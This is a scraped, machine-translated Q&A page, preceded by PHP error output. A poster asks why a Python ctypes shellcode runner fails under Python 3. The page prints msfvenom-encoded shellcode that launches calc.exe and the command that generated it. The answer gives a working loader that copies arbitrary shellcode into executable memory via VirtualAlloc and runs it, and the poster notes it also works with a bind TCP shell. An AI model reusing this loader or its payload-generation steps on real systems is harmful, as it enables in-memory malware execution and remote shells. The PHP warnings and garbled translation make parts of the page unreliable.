Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/python-3.x/16.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/swift/18.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
使用python3.8编写CTYPES访问冲突,而使用python2.7编写则有效_Python_Python 3.x_Ctypes - Fatal编程技术网

使用python3.8编写CTYPES访问冲突,而使用python2.7编写则有效

使用python3.8编写CTYPES访问冲突,而使用python2.7编写则有效,python,python-3.x,ctypes,Python,Python 3.x,Ctypes,我创建了一些外壳代码来在Windows上弹出calc.exe。外壳代码位于变量buf中(此处因空格省略)。在python2.7中,它可以工作,并且会出现计算器。 对于Python3,它失败的原因是OSError:exception:access违例写入0x00000023EE895F650(每次运行时内存位置不同) 这是密码。据我所知,create\u string\u buffer将自动分配空间以匹配buf的长度,CFUNCTYPE将使用null代替python的None # Win10 Pr

我创建了一些外壳代码来在Windows上弹出calc.exe。外壳代码位于变量
buf
中(此处因空格省略)。在python2.7中,它可以工作,并且会出现计算器。 对于Python3,它失败的原因是
OSError:exception:access违例写入0x00000023EE895F650
(每次运行时内存位置不同)

这是密码。据我所知,
create\u string\u buffer
将自动分配空间以匹配
buf
的长度,
CFUNCTYPE
将使用
null
代替python的
None

# Win10 Pro 10.0.1863 x64
# Python 2.7.1 32bit win32
# Python 3.8.3 32bit win32 
import ctypes
buf =  b""
buf += b"\xbd\x46\x90\xe4\x4e\xdb\xc8\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x31\x31\x68\x13\x83\xe8\xfc\x03\x68\x49\x72"
buf += b"\x11\xb2\xbd\xf0\xda\x4b\x3d\x95\x53\xae\x0c\x95\x00"
buf += b"\xba\x3e\x25\x42\xee\xb2\xce\x06\x1b\x41\xa2\x8e\x2c"
buf += b"\xe2\x09\xe9\x03\xf3\x22\xc9\x02\x77\x39\x1e\xe5\x46"
buf += b"\xf2\x53\xe4\x8f\xef\x9e\xb4\x58\x7b\x0c\x29\xed\x31"
buf += b"\x8d\xc2\xbd\xd4\x95\x37\x75\xd6\xb4\xe9\x0e\x81\x16"
buf += b"\x0b\xc3\xb9\x1e\x13\x00\x87\xe9\xa8\xf2\x73\xe8\x78"
buf += b"\xcb\x7c\x47\x45\xe4\x8e\x99\x81\xc2\x70\xec\xfb\x31"
buf += b"\x0c\xf7\x3f\x48\xca\x72\xa4\xea\x99\x25\x00\x0b\x4d"
buf += b"\xb3\xc3\x07\x3a\xb7\x8c\x0b\xbd\x14\xa7\x37\x36\x9b"
buf += b"\x68\xbe\x0c\xb8\xac\x9b\xd7\xa1\xf5\x41\xb9\xde\xe6"
buf += b"\x2a\x66\x7b\x6c\xc6\x73\xf6\x2f\x8c\x82\x84\x55\xe2"
buf += b"\x85\x96\x55\x52\xee\xa7\xde\x3d\x69\x38\x35\x7a\x85"
buf += b"\x72\x14\x2a\x0e\xdb\xcc\x6f\x53\xdc\x3a\xb3\x6a\x5f"
buf += b"\xcf\x4b\x89\x7f\xba\x4e\xd5\xc7\x56\x22\x46\xa2\x58"
buf += b"\x91\x67\xe7\x3a\x74\xf4\x6b\x93\x13\x7c\x09\xeb"

def run():
    buffer = ctypes.create_string_buffer(buf)
    shell_func = ctypes.cast(buffer, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    run()
我已经阅读并在谷歌上搜索过,但不知道为什么它在Python 3中不起作用。 有什么想法吗

FWIW,下面是我如何创建外壳代码的:

# Linux kali 5.6.0-kali1-amd64
# metasploit v5.0.89-dev
msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f python cmd=calc.exe

感谢Neitsa的评论,下面是代码。如上所述使用外壳代码,或在名为
buf
的变量中使用您自己的外壳代码:

def run():
    buffer = ctypes.create_string_buffer(buf)
    length = len(buffer)

    ptr = ctypes.windll.kernel32.VirtualAlloc(None, length, 0x1000|0x2000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ptr, buffer, length)
    shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    run()
首先,分配足够的内存来保存外壳代码。
VirtualAlloc
中的两个常量定义

  • 0x1000 | 0x2000
    =MEM|u COMMIT | MEM|u RESERVE(参见MS文档)
  • 0x40
    PAGE\u执行\u读写
接下来,将外壳代码移动到分配的内存中。 最后,将外壳代码转换为函数并调用该函数。 使用问题中给出的外壳代码(弹出式计算器)和绑定tcp外壳(未显示)进行测试


仍然不知道为什么python3的行为会有所不同,但看起来它试图写入不可执行的内存。此方法适用于Python2或Python3。

为什么要使用downvote?不要忽略外壳代码。分配的缓冲区内存不可执行。刚刚在调试器上测试过。尝试将您的缓冲区复制到
VirtualAlloc()
使用
PAGE\u EXECUTE\u READWRITE
@Neitsa进行的分配中,谢谢。我现在可以用了。如果你想回答你的评论,我会把它标记为solved.ptr=ctypes.windell.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(length),ctypes.c_int(0x3000),ctypes.c_int(0x40))ctypes.windell.kernel32.rtlmovemory(ctypes.c_int(ptr),buffer,ctypes.c_int(len(外壳代码)))这种方法在python 64位上不起作用,因为VirtualAlloc只返回4个字节,但64位的高地址需要8个字节。看见